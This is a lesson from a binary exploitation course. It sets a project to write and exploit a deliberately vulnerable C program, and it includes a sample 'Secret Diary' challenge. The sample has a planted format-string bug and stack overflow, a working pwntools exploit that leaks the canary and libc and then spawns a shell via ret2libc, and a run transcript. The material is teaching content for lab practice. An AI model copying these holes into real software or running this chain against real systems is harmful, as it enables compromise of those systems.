Lesson 10.3: Final project, build and exploit your own vulnerable binary
This is the last lesson of the series. The surest way to know you actually understand pwn is to build a buggy binary with your own hands, exploit it yourself, and write a report someone else can follow. Complete that whole loop and you stop being someone who only learns from other people’s solutions. This lesson assigns the project, gives a sample challenge with a working, real solution, and a rubric to grade yourself with.
One format-string call leaks both the canary and a libc address, then the overflow writes the canary back unchanged before hijacking saved RIP into ret2libc.
Part: 10 · Reading time: a multi-session project · Difficulty: hard (synthesis)
Prerequisites: Lesson 10.1 and 10.2. The sample challenge reuses format strings (Part 7), canary (Part 5), ret2libc (Part 6).
Tools: gcc, pwntools, checksec, objdump, gdb. Lab files are described in the Lab section below.
Goals
After this lesson you will be able to design a binary with a vulnerability matched to the mitigation level you chose, exploit it fully into a shell and write a clean, reproducible exploit, write a project report to a proper standard, and self-grade with a rubric to see what you are missing.
Theory: the project brief
Requirements
Write a C program with at least one memory vulnerability, compile it with a mitigation level of your choosing (state the gcc flags explicitly), then write an exploit that gets a shell or reads a flag.txt file. Submit a report along with it.
The minimum bar to pass:
- The binary must be genuinely exploitable, not “exploitable in theory”.
- The exploit must work with ASLR enabled (
randomize_va_space = 2), with no hardcoded libc address. - There must be at least one leak step (canary, libc, or PIE base). A challenge that is pure ret2win with No PIE and No canary is too light for a final project, treat it only as a warm-up.
Encouraged ways to raise the difficulty: enable the canary (forcing a canary leak), enable PIE (forcing a PIE base leak), or build a heap challenge (UAF/tcache). Every extra mitigation enabled adds one more leak step, exactly in the spirit of the Lesson 10.1 decision tree.
Required report structure
Reuse the eight-section writeup template from Lesson 10.2, with one extra section at the start:
- Deliberate design. Which bug you planted on purpose, which mitigation you chose, and why that combination forces the solver down a specific chain of techniques. This section shows you understand the relationship between mitigations and techniques, not just that you can copy one challenge.
The rest: challenge/environment, triage, vulnerability, plan, measurements, exploit, transcript, lessons.
Why a self-built challenge is hard in the right way
When you design the challenge yourself, you have to think backwards: to force the solver to leak libc you must leave a printing path exposed (puts/printf); to force a canary leak you must both enable the canary and leave a reading hole (a format string or reading extra bytes). The act of designing a vulnerability that is “just enough” teaches you the mechanism more deeply than solving one does. That is why the final project requires writing a binary rather than solving one more challenge.
Demo: the sample “Secret Diary” challenge and a working solution
Below is a complete sample project, compiled and exploited for real against an Ubuntu 24.04 server. Files are listed in the Lab section below.
Deliberate design
The goal was a challenge chaining three already-learned techniques, the way a good real challenge does:
- Enable the canary (
-fstack-protector-all): the solver cannot overflow straight through, they must leak the canary first. - Leave a format string bug (
printf(buf)): both a canary-leak path and a libc-leak path. - Enable NX, keep ASLR on: forcing ret2libc with a leaked libc, no shellcode, no hardcoding.
- No PIE: keeps the challenge at a reasonable difficulty, binary addresses (gadgets, GOT) stay fixed.
Result: the solver is forced through a format-string leak (canary plus libc), then an overflow that preserves the canary, then ret2libc. Exactly Parts 7, 5, and 6 chained together.
Challenge and environment
- Challenge: Secret Diary v2.0 (self-built).
- Environment: Ubuntu 24.04.4 LTS, glibc 2.39-0ubuntu8.9, gcc 13.3.0, ASLR enabled.
- Goal: shell plus reading
flag.txt.
Triage
1
2
$ checksec --file=diary
RELRO: Partial | Stack: Canary found | NX: enabled | PIE: No PIE (0x400000)
Canary enabled (unlike the Lesson 10.2 challenge), NX enabled, No PIE, dynamic. Typing %p %p %p prints back hex numbers, immediately suggesting a format string bug.
Vulnerability analysis
The vuln() function has two bugs sharing one buffer:
1
2
3
4
5
6
7
8
9
10
11
void vuln(void) {
char buf[128];
printf("What is your name?\n> ");
int n = read(0, buf, 120);
buf[n] = '\0';
printf("Hello ");
printf(buf); // BUG 1: format string -> leak
puts("");
printf("Write a log line:\n> ");
read(0, buf, 400); // BUG 2: overflows buf[128] -> past the canary and saved RIP
}
- BUG 1 (format string): primitive is arbitrary read plus leak.
- BUG 2 (a 400-byte read into
buf[128]): primitive is control flow hijack, but blocked by the canary.
Exploitation plan
One binary, two bugs, following the decision tree:
- Canary is on, so use BUG 1 to leak the canary.
- ASLR and NX are on, dynamic, so also use BUG 1 to leak libc (via
%sreadingputs@got). - Use BUG 2 to overflow, writing the canary back exactly in place, then ret2libc into
system("/bin/sh").
Steps, with real measurements
Stack layout (read from objdump): buf sits at rbp-0x90, the canary at rbp-8.
1
2
buf -> canary = 0x90 - 8 = 136
buf -> saved RIP = 0x90 + 8 = 152
The format string argument position (probed with %N$p): the input starts at positional index 8 (%8$p is buf+0). From that:
- The canary at buf+136 sits at index
8 + 136/8 = 25, read with%25$p. - To leak libc, place a pointer to
puts@gotat buf+24 (index 11), then read it with%11$s(which prints the runtime libc address ofputs, sinceputshas already been resolved by the banner).
One payload leaks both in a single call:
1
2
fmt = b'%25$pENDC%11$s' # canary | ENDC marker | %s dereferences the pointer
payload1 = fmt.ljust(24, b'a') + p64(elf.got['puts']) # the pointer sits at buf+24
The puts@got pointer contains a null byte in its high byte, so it has to be placed after the format specifiers (a null would otherwise cut the format string short), and referenced by positional index rather than printed directly. The ENDC marker separates the canary (hex text) from the libc leak (6 raw bytes) when parsing.
Full exploit
The complete script is exploit.py in the Lab section below. The core:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# --- Stage 1: leak canary + libc via one format string call ---
io.recvuntil(b'> ')
io.sendline(b'%25$pENDC%11$s'.ljust(24, b'a') + p64(elf.got['puts']))
io.recvuntil(b'Hello ')
canary_hex, rest = io.recvline().split(b'ENDC', 1)
canary = int(canary_hex, 16)
puts_libc = u64(rest[:6].ljust(8, b'\x00'))
libc.address = puts_libc - libc.sym['puts']
# --- Stage 2: overflow writing the canary back -> ret2libc ---
rop = ROP([elf, libc])
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]
binsh, system = next(libc.search(b'/bin/sh\x00')), libc.sym['system']
io.recvuntil(b'> ')
io.send(flat(
b'A'*136, canary, # write the exact canary back -> passes __stack_chk_fail
b'B'*8, # saved rbp (junk)
ret, pop_rdi, binsh, system,
))
time.sleep(0.5) # avoid a race with read
io.sendline(b'id; cat flag.txt')
Transcript
Three runs in a row with ASLR enabled, both the canary and the libc base change every time, all three get the flag:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
----- run #1 -----
[+] canary = 0x68a91c9919ac7600
[+] puts @ libc = 0x79de4cc87cc0
[+] libc base = 0x79de4cc00000
uid=0(root) gid=0(root) groups=0(root)
FLAG{do_an_cuoi_fmtstr_canary_ret2libc}
----- run #2 -----
[+] canary = 0x4a8137800f58bd00
[+] libc base = 0x771736a00000
FLAG{do_an_cuoi_fmtstr_canary_ret2libc}
----- run #3 -----
[+] canary = 0x87421ef9b79dee00
[+] libc base = 0x7dbb76a00000
FLAG{do_an_cuoi_fmtstr_canary_ret2libc}
Every canary ends in the byte 00 (a signature of glibc canaries: the low byte is always null), and the libc base differs each run. The full transcript is transcript.txt in the Lab section below.
Lessons and pitfalls
%11$sonly works to dereferenceputs@gotbecauseputshas already been resolved (the banner callsputsbeforevuln). If the function were never called first, the GOT entry would still point at the PLT stub, and the leak would be garbage.- A pointer containing a null byte must be placed after the format specifiers, referenced positionally. Placed before, the null cuts the format string short immediately.
- Canary ending in
00: when writing it back withflat(..., canary), use the full 8-byte leaked value as is, do not add or remove bytes. - Still subject to the same race with
readin stage 2, handled the same way as Lesson 10.2 with a short delay. %sprinting a libc address rarely (around two percent of the time) hits a null in the middle of the 6 meaningful bytes, producing a short leak, just rerun it. A production challenge should leak with a pair of%pinstead if it wants to be fully reliable.
Lab (this is the project itself)
- Step 1: redo the sample challenge from the Lab files without looking at
exploit.py. Probe the format string offset yourself, parse the leak yourself. - Step 2: design a brand NEW challenge of your own. Suggested tiers:
- Easy: No PIE, No canary, with a win function needing an argument, to drill pop rdi (Lesson 3.3).
- Medium: like the sample but with a different bug (for example overflow plus a leak via
writeinstead of a format string). - Hard: enable PIE (forcing a PIE base leak too), or build a heap note challenge with UAF/tcache (Part 9).
- Step 3: write a report with all nine sections (the design section plus the eight writeup sections).
- Self-check: can someone else, holding only your binary and your report, reproduce the solve exactly as you describe it?
Self-grading rubric (100 points)
| Criterion | Points | Passes when |
|---|---|---|
| Binary is actually exploitable | 25 | Running the exploit gets a shell/flag, not just a theoretical claim |
| Runs with ASLR enabled, no hardcoding | 15 | The libc base is computed dynamically from the leak; works across repeated runs |
| Has a correct leak step for the mitigation | 15 | Leaks canary/libc/PIE as appropriate for the mitigations enabled |
| Deliberate design (section 0) | 10 | Explains why the chosen mitigations force that specific chain of techniques |
| Clean, commented exploit | 10 | Readable by someone else, no unexplained magic numbers |
| Report has all nine sections | 15 | Deduct per missing section |
| Real transcript | 5 | Shows proof of output, records the glibc/OS version |
| Lessons/pitfalls section | 5 | Describes a real sticking point and how it was resolved |
Grade yourself honestly. Below 70 means there is a real gap in the exact criterion where points were lost, go back to the matching lesson.
Key takeaways
- Write your own binary, state the gcc flags and mitigations explicitly
- Exploit it for real, with ASLR enabled, no hardcoded libc
- Include at least one leak step
- The report has all nine sections, with a transcript and version info
- Self-grade with the rubric, fix whatever lost points
Common pitfalls (when designing your own challenge)
- Building a binary that is “buggy” but not actually exploitable (the buffer never reaches saved RIP, or the canary blocks it with no leak path). Always solve it yourself first before calling it a valid challenge.
- Making it artificially easy by disabling every mitigation. A final project should have at least one leak step.
- Hardcoding your own machine’s libc offsets and thinking the project is done. It must be computed dynamically, and must work across repeated runs.
- A report missing the deliberate-design section. That section is what shows understanding, do not drop it.
- Forgetting to clean up: if you submit with a server attached, make sure no real flag or sensitive information leaks out.
Further reading
- Lesson 10.1 and Lesson 10.2: the workflow and the writeup template this project builds on.
- A technique map, to help pick techniques for a self-designed challenge.
- The parts combined in the sample challenge: format strings (Lesson 7.1), canaries (Lesson 5.2), ret2libc (Lesson 6.1 and Lesson 6.2).
- A list of documentation and practice grounds, for design inspiration from real challenges.
